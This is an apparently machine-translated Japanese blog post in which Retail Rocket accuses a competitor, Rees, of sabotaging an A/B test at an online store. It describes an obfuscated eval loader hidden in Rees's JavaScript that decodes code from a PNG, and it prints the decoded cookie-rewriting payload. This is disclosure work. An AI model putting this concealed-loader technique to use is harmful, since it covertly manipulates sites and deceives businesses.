ABテストへの攻撃：レシピ 'R' + t（101）+ 'es46'

ABテストは、インターネットビジネスの経済指標に関する特定の決定の有効性を評価できる最も強力で便利な製品管理ツールの1つです。 5年間の作業を通じて、膨大な数のABテストを実施しました。そのため、実験を正しく行うことがいかに困難で、どのエラーが絶えず繰り返されているかをよく知っています。

数ヶ月前、競合他社の1社が何かおかしなことを始めました。「賭け」形式のABテストを通じて、顧客に推奨システムとRetail Rocketの比較を提供し、損失が発生した場合に100,000ルーブルを支払う義務を負います。

このような話は私たちにとって珍しいことではありません-会社が存在する間、私たちのシステムはロシアと海外のほとんどすべての既存の推奨システムと比較され、常に優れた結果を示しました（どのテストでも有効性を失いませんでした）。

Reesとの最初のテストは間もなく開始されましたが、その実装の過程で、かなり奇妙な結果に遭遇し、深刻な研究に至りました。 最後に私たちが見つけたものは非常に驚いたので、この調査の詳細を共有し、その結果をロシアのITコミュニティと電子商取引業界の裁判所に持ち込みたいと思っています。

Daughters＆Sonsオンラインストアでの推奨システムのABテスト

オンラインストア「Daughters＆Sons」での数か月間、3つの推奨システムのテストが行​​われました：Retail Rocket、Rees、および社内システム。

ABテストを実施する仕組み：サイトのオーディエンス全体がランダムに3つの等しい部分に分割され、オーディエンスの各部分には独自のバージョンのサイトが表示されます。 個人の推奨のブロックのみが変更されます-各セグメントには、推奨システムのいずれかによって制御されるブロックが表示されます。



テストの一環として、各トラフィックセグメントのコンバージョンを他のセグメントと比較して測定し、結果により、どのシステムがより効率的に機能するかを決定します。

オーディエンスはクライアントでJavaScriptコードを使用して分割され、すべてのユーザーはテストの3つのセグメントのいずれかの識別子を受け取ります。識別子はCookieに保存され、サイトでの重要なアクションごとにGoogleアナリティクスに転送されます。

Google Analyticsから記事を書いた時点でのテスト結果-セグメントごとの変換

セグメントA-息子の娘の推薦システム
セグメントB-Rees推奨システム
セグメントC-小売ロケット推薦システム



内部推奨システム「Daughters＆Sons」の指標に関する変換の変更

これらのデータによると、セグメントC（小売ロケット）が負け、セグメントB（リース）が勝ちます。 それとは別に、5月27日に注意してください。この日、Retail Rocketが最高のパフォーマンスを発揮します。詳細については後で説明します。

テスト中、Retail Rocketのエンジニアリングチームは、多くの内部テストを実施し、サイトでいくつかのエラーを特定し、多くの統合問題を修正し、さまざまなアルゴリズムとそのバリエーションの一連の内部テストを実施しました。 これらのすべてのアクションは、具体的な変化をもたらしませんでした。

推奨の質の視覚的評価

Retail Rocketでは、推奨事項の有効性と品質を評価する方法がいくつかあります。 それらの最初のものは、いわゆる「専門家評価」（「妥当性」の主観的な視覚的評価）です。

Retail RocketおよびReesシステムによって生成された推奨の例を見てみましょう。



猫砂については、動物やさまざまな種類の猫の餌を運ぶことをお勧めします。Reesシステムでは、子供にはベビーフード、お茶、直腸チューブをお勧めします。

よく訪れた製品（統計情報がすぐに蓄積される）にはそのような例が多数あり（視覚品質評価に関するレポートの 1つです）、専門家による評価が数値に直接影響を与えないという事実にもかかわらず、これは簡単で迅速な方法であり、特定の指標として機能します推薦システムの仕事の質。

推奨事項の間接的な品質評価

このような視覚的なコンポーネントでは、数字が私たちにとって好ましくない結果を示しているため、原因のさまざまな内部研究に多くのリソースを費やしたことは奇妙に思えました。

まず、製品の推奨ブロックと相互作用するオーディエンスを探索することにしました。 Rees推奨ブロックで製品をクリックすると、パラメーターがURLに追加されます。



Retail Rocket推奨ブロックの製品URLに同様のパラメーターを追加しました。



また、ユーザーのおすすめブロックをクリックするセグメントをGAで構築しました。



最初の仮説は、システムがユーザーの嗜好をより悪いと推測し、関連性の低い製品を推奨するというものでした。

この場合、ブロックはReesの推奨ブロックよりもクリック数が少なくなりますが、これはGoogleアナリティクスデータによって反論されます。ウィジェットのクリック数は2.81倍になります。



私たちが検討した2番目の仮説：視覚的に優れた推奨事項は、人々の購入を妨げ、コンバージョンを減らします。 つまり 彼らの注意を引き付けますが、購入から注意をそらし、販売の成長に貢献しません。

この場合、Retail Rocket推奨ブロックをクリックする人は、Reesブロックをクリックする人よりもコンバージョンが悪くなります。 しかし、Googleアナリティクスによると、これはそうではありません。リテールロケットブロックをクリックした人のコンバージョンははるかに高い（4日間のデータによると37％増加）。



したがって、Retail Rocketはユーザーに関連する製品をはるかに頻繁に推奨し、ユーザーはこれらの製品をクリックすることが多く、推奨事項は販売にプラスの影響を与えます。

推奨事項と対話するユーザーに問題がなく、視覚的な側面から推奨事項が関連しているように見える場合、推奨事項をクリックしていないユーザーを確認する必要があります。

オンラインストアの視聴者調査

オーディエンスのこのセグメントの調査を開始すると、2つの興味深い事実に気付きました。

1. Reesセグメントには、他のセグメントよりも数パーセント多くのユーザーがいますが、ABテスト設定は、推奨システム間の視聴者の均等な分布を意味します。
2. Reesセグメントでは、視聴者はより忠実で、サイトに繰り返しアクセスする訪問者がはるかに多くいます。

オンラインストアのトラフィックをセグメントに分割する正しい操作を確認するために、サイトを使用するコードを使用してセグメンターを個別にテストしました。メインの部門と並行して、同じオーディエンスのセグメント化を開始しました。

• セグメント1：63,215ユーザー
• セグメント2：63,500ユーザー
• セグメント3：63,686ユーザー

これは、セグメンテーション機能が正常に動作しており、数パーセントのエラーがないことを意味します。 ABテスト「Daughters＆Sons」のフレームワークのトラフィック分布には異常が含まれています。

開発者は、セグメンテーションに影響する可能性のあるJSエラーとバグのサイトコードを詳細に調査しましたが、異常を引き起こす可能性のあるものは見つかりませんでした。

論理的な前提は、ユーザーが何らかの形でセグメント間を移動できるという考えでした。 私たちの実践では、たとえば、Cookieの有効期間が誤って設定されていたために、ユーザーがテスト内でセグメントを変更した場合がありました（ABテストセグメントの識別子が格納されたCookieストアの1つで、2週間しか生存していなかったため、ユーザーがこの後に戻った場合時間、ランダムに値が割り当てられました-つまり、ユーザーはテストの別のセグメントに分類されます）。 このような状況を回避するために、テスト中にユーザーがセグメントを変更しないようにする必要性に関する項目があるチェックリストを開発しました。

Googleアナリティクスでこのような状況を追跡するために、「シーケンス」と呼ばれるツールがあります。このツールを使用すると、あるセグメントに最初にいて、別のセグメントに移動したユーザーを選択できます。 分析のため、Googleアナリティクスでこのようなセグメントをいくつか作成しました。



その結果、次の数字が得られました。



これらのデータによると、異常に多くのユーザーが残りからReesセグメントに移動することが明確にわかります。 これは間違いなくバグではありません。そうでなければ、ユーザーはすべてのセグメント間を均等に移動します。

第二の結論：これらのユーザーは多くの注文をします。

*オンラインストアは、これらが実際の注文であることを確認しました（ほぼすべてのステータスは「購入済み」です）

Reesセグメントに移動したユーザーの注文番号に基づいて、内部セッションログを調べ、次のパターンを特定しました。

1. Reesセグメントに移動したほとんどすべてのユーザーは、バスケットに製品が追加されています（つまり、これはより忠実でコンバージョンの多いユーザーです）。
2. ユーザーの動きはクロック全体に均等に分散されません。これは、ユーザーの動きが手動で開始されることを示しています。
3. ユーザーは、Retail RocketがABテストに勝ち始めた日にReesセグメントに移動します。

ユーザーをReesセグメントに移動する（トップ時間、残り日数）



ユーザーをRetail Rocketセグメントに移動する（時計の上部、残り日数）

表は、5月25日と26日にほとんど動きがないことを示しています。5月27日には、小売ロケットシステムがプラスになり始めると、動きが再び始まります。 繰り返しになりますが、バスケットに商品を追加したユーザーは移動し、すぐに買い手に変わります。

サイトで実行されているコードの調査

忠実なユーザーをReesに移動することは疑わしいと思われたため、ユーザーセグメントの変更の理由を探し、コードを調査し始めました。 誰かが誤ってそのようなエラーを犯す可能性がある場合、誰がどのようにCookieを使用するかを慎重に調査しましたが、疑わしいものは見つかりませんでした。

2つのオプションがありました。Cookieは、息子の娘の店のサーバーによって変更され、クライアントでは表示されません。または、リクエスト時にサーバーから送信される動的コードによって変更されます。

動的コードを確認して、eval関数、たとえばJavaScriptコードのようなサーバーから送信されたテキストを実行できる特別なjavascript関数を探しました。サイト。

チェック中に、Rees JSライブラリの奇妙なコードに出会いました。




すべてのコードはこちらから入手できます 。 このコードの特徴は、明らかにその機能を隠そうとしていることです。

コードによると、いくつかの結論を出すことができます。

• このコードは、Daughters of the Sonストア用に特別に作成されています。ストアに属する「city」というCookieを密かに使用しているためです（ストアはユーザーの地域識別子を格納します）
• コードは、読みやすく、理解しにくいように意図的に書かれています（テキストの代わりに、文字の数値識別子が使用されます）
• コードの機能は外部開発者からは特に隠されています-ブラウザーコンソールが開いているとき、およびモスクワからのWebサイト訪問者に対してコードは機能しません（オンラインストアは、Webサイトに統合するものと、どのコード行が何に責任があるかを知っている必要がありますが、ここでは意図的な隠蔽です）
• このコードは、Reesサーバーから画像をダウンロードし、その画像からテキストをデコードし、単純に隠された関数evalの入力にテキストを転送するように設計されています（ウィンドウ[t（101）+ "val"]（u））
• これはすべて、Reesによるコードの隠された実行の可能性を示しています。

この情報が公開されるとすぐに、Reesはこのコードを削除すると想定しているため、2つの外部の独立したサービスhttps://web.archive.orgとhttps://www.runscope.comを使用して保存しました。

そのフォーマットされたバージョンは、 参照により研究に利用できます。

このフラグメントの正確な動作を理解するために、ユーザーのアクションをエミュレートし、Reesサーバーへのすべてのリクエストを記録するモジュールを作成しました。 5月25日と26日には何も起こりませんでした（これは、Reesの方向へのユーザーの1時間ごとの移動に関するデータの表からも見ることができます）、5月27日、Googleアナリティクスによると、小売テストシステムはモスクワ時間の午後7時頃にABテストでプラスになりましたユーザーをReesセグメントに移動し始めました。



ユーザーをReesセグメントに移動する（トップ時間、残り日数）

同時に、PNG画像のリクエストをReesサーバーに記録しました（画像の内容はこちらで確認できます ）。 写真が利用できないというだけです（エラー404が返されます）が、Reesユーザーの写真のリクエストがヘッダーで送信されると、写真をダウンロードできます：



エンコード/非表示を試みたコードの入力に画像を転送する場合、便宜上、 個別に取り出しましたが、ABテストのユーザーセグメントが格納されているCookieの値を変更するようなJSがあります：

 document.cookie="rr-VisitorSegment_Rec=3:2; domain=.dochkisinochki.ru; path=/; expires=Mon, 25 Sep 2017 10:15:20 +0000";document.cookie="DS_SM_rrSegmentRecommendedABC=B; domain=.dochkisinochki.ru; path=/ 

このコードは、ユーザーセグメントが格納されているストアに属する2つのCookieを、Reesセグメントに等しいセグメントの値によって明示的に変更します。

Reesはこの攻撃の痕跡をすべて隠すと確信しているため、独立したサードパーティサービスをリクエストすることで画像も保存されます 。

したがって、Reesシステムのコードは、バスケットに商品を追加し、注文を完了しようとしているセグメントユーザーに転送されます。

ユーザーに最初に発行されたセグメント（つまり、5月1日より前に最初にサイトにアクセスしたユーザーはこのデータから除外された）に基づいて構築されたユーザーの動きを記録した瞬間（5月1日から28日）から得られたデータによると、Retail Rocketは確実にテストに勝ちますそして、リースは店舗売上を削減します。



オンラインストアの忠実なユーザーをReesセグメントに移行する正確な時期は不明であるため、効率の差ははるかに大きくなります。

さらに、Reesコードのテストで他の攻撃の兆候が見られます。たとえば、最初にサイトにアクセスすると、システムは複数のRTBネットワークと一致するCookieを実行します。

同期コード：



保存されたリクエストは、 web.archive.orgのリンクで表示できます

同期リクエスト：



これにより、少なくともオンラインストアの競合他社がこれらのユーザーにアクセスできるようになり、最大でトラフィックを各自のセグメントにリターゲティングし、テストの他のセグメントから競合他社にトラフィックを転送して、コンバージョンを削減できます。

興味深い事実は、このRees攻撃がメディアおよびソーシャルネットワークでの積極的なPRキャンペーンによってサポートされていたことです。

結論の代わりに

ほぼ5年間の作業で、最初にこのような動作に遭遇しました。 残念ながら、ABテストは、そのすべての参加者の品位の絶対的な自信を持ってのみ実行できることを認めなければなりません。

このような競争の方法は不公平で受け入れられないと考え、コミュニティ全体を傷つけ、確立された業務慣行の信頼性を損ないます。 現在、私たちは法的分野で積極的に活動しており、加害者を処罰し、コミュニティがそのような状況に対処する経験を共有することを奨励しています。